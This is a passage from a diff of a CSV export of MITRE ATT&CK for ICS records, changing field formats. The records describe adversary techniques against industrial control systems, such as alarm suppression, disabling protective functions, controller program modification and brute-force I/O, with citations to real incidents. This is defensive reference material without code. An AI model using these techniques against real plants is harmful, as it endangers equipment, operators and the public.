software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0890', 'external_id': 'T0890'}, {'source_name': 'ATT&CK Exploitation for Privilege Escalation', 'description': 'The MITRE Corporation. (n.d.). ATT&CK T1068: Exploitation for Privilege Escalation. Retrieved April 12, 2021.', 'url': 'https://attack.mitre.org/techniques/T1068/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--fc5fda7e-6b2c-4457-b036-759896a2efa2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T11:15:26.506Z,2021-10-08T15:25:32.143Z,Modify Program,"Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0889', 'external_id': 'T0889'}, {'source_name': 'IEC Programmable controllers February 2013', 'description': 'IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. Retrieved October 22, 2019.', 'url': 'https://webstore.iec.ch/publication/4552'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Asset: Software/Firmware']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--09a61657-46e1-439e-b3ed-3e4556a78243,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-13T11:15:26.506Z,2021-10-08T15:25:32.143Z,Modify Controller Tasking,"Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1).","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0821', 'external_id': 'T0821'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Asset: Software/Firmware']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--e1f9cdd2-9511-4fca-90d7-f3e92cfdd0bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-12T19:26:26.506Z,2021-10-08T15:25:32.143Z,Remote Services,"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0886', 'external_id': 'T0886'}, {'source_name': 'FireEye TRITON December 2017', 'description': 'Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html'}, {'source_name': 'Dragos TRISIS December 2017', 'description': 'Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018.', 'url': 'https://dragos.com/blog/trisis/TRISIS-01.pdf'}, {'source_name': 'Dragos IT ICS Ransomware December April 2019', 'description': 'Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.', 'url': 'https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--2bb4d762-bf4a-4bc3-9318-15cc6a354163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-04-12T07:57:26.506Z,2021-04-12T07:57:26.506Z,Loss of Protection,"Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0837', 'external_id': 'T0837'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--2900bbd8-308a-4274-b074-5b8bde8347bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Alarm Suppression,"Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Maroochy - MITRE - 200808) @@ -4390,99 +4017,102 @@ A Secura presentation on targeting OT notes a dual fold goal for adversaries att * An alarm signaled with I/O * An alarm bit set in a flag (and read) -In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0878', external_id='T0878'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='References - Secura - 2019', description='Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', url='https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf')]",attack-pattern--2900bbd8-308a-4274-b074-5b8bde8347bc,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Alarm Suppression,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Marina Krotofil', 'Jos Wetzels - Midnight Blue']","['Alarm history', 'Alarm thresholds', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0806', external_id='T0806')]",attack-pattern--8e7089d3-fba2-44f8-94a8-9a79c53920c4,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2020-05-21 17:43:26.506000+00:00,Brute Force I/O,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Sequential event recorder', 'Data historian', 'Netflow/Enclave netflow', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Control Server', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. +In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0878', 'external_id': 'T0878'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'References - Secura - 2019', 'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Marina Krotofil', 'Jos Wetzels - Midnight Blue']","['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data', 'Operational Databases: Process/Event Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Device Configuration/Parameters']",,,,,,,, +attack-pattern,attack-pattern--8e7089d3-fba2-44f8-94a8-9a79c53920c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T13:04:01.612Z,Brute Force I/O,"Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary’s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. -The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. - -The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy) - -Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. +Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0806', 'external_id': 'T0806'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data']",,,,,"['Control Server', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--e6c31185-8040-4267-83d3-b217b8a92f07,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. +* TCP:80 (HTTP) +* TCP:443 (HTTPS) +* TCP/UDP:53 (DNS) +* TCP:1024-4999 (OPC on XP/Win2k3) +* TCP:49152-65535 (OPC on Vista and later) +* TCP:23 (TELNET) +* UDP:161 (SNMP) +* TCP:502 (MODBUS) +* TCP:102 (S7comm/ISO-TSAP) +* TCP:20000 (DNP3) +* TCP:44818 (Ethernet/IP) -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0884', external_id='T0884'), ExternalReference(source_name='EAttack Connection Proxy', description='Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1090'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf')]",attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='command-and-control-ics')]",2020-05-21 17:43:26.506000+00:00,Connection Proxy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process use of network', 'Process monitoring', 'Packet capture', 'Netflow/Enclave netflow', 'Network protocol analysis']",,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0811', external_id='T0811')]",attack-pattern--3405891b-16aa-4bd7-bd7c-733501f9b20f,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2021-04-12 16:35:26.506000+00:00,Data from Information Repositories,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Application logs', 'Authentication logs', 'Data loss prevention', 'Third-party application logs']",,,,,,,,,,,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0868', external_id='T0868'), ExternalReference(source_name='ForumAutomation PLC Operating Modes October 2017', description='N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', url='https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'), ExternalReference(source_name='Omron PLC Operating Modes', description='Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', url='https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'), ExternalReference(source_name='Machine Information Systems PLCs 2007', description='Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', url='http://www.machine-information-systems.com/How_PLCs_Work.html'), ExternalReference(source_name='PLCgurus PLC Basic 2021', description='PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', url='https://www.plcgurus.net/plc-basics/')]",attack-pattern--2aa406ed-81c3-4c1d-ba83-cfbee5a2847a,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2021-04-13 11:39:26.506000+00:00,Detect Operating Mode,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.,"[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0871', external_id='T0871')]",attack-pattern--5a2610f6-9fff-41e1-bc27-575ca20383d4,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics')]",2020-05-21 17:43:26.506000+00:00,Execution through API,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['API monitoring', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0822', external_id='T0822'), ExternalReference(source_name='EAttack External Remote Services', description='Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018.', url='https://attack.mitre.org/wiki/Technique/T1133'), ExternalReference(source_name='Ukraine15 - Zetter, Kim', description=""Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019."", url='https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/'), ExternalReference(source_name='Ukraine15 - ICSCERT', description='ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', url='https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'), ExternalReference(source_name='Ukraine15 - Fireeye', description='John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', url='https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'), ExternalReference(source_name='Ukraine15 - EISAC - 201603', description='Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', url='https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf')]",attack-pattern--8d2f3bab-507c-4424-b58b-edc977bd215c,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,External Remote Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Authentication logs'],,,,,,,,,,,,,,"['Control Server', 'Input/Output Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0872', external_id='T0872')]",attack-pattern--53a26eee-1080-4d17-9762-2027d5a1b805,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics')]",2020-05-21 17:43:26.506000+00:00,Indicator Removal on Host,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Process monitoring', 'Process command-line parameters', 'API monitoring', 'Windows event logs']",,,,,,,,,,,,,,"['Windows', 'Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0828', external_id='T0828')]",attack-pattern--63b6942d-8359-4506-bfb3-cf87aa8120ee,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Loss of Productivity and Revenue,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) +Contributors: Matan Dobrushin - Otorio","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0885', 'external_id': 'T0885'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Matan Dobrushin - Otorio'],['Network Traffic: Network Traffic Flow'],,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--56ddc820-6cfb-407f-850b-52c035d123ac,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,Denial of View,"Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. +An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. -When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. +In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0815', 'external_id': 'T0815'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--85a45294-08f1-4539-bf00-7da08aa7b0ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Exploitation of Remote Services,"Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services) -One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T835', external_id='T0835'), ExternalReference(source_name='Guidance - ISA PLC', description='Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018.', url='https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/')]",attack-pattern--36e9f5bc-ac13-4da4-a2f4-01f4877d9004,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Manipulate I/O Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Controller program', 'Process monitoring']",,,,,,,,,,,,,,"['Windows', 'Field 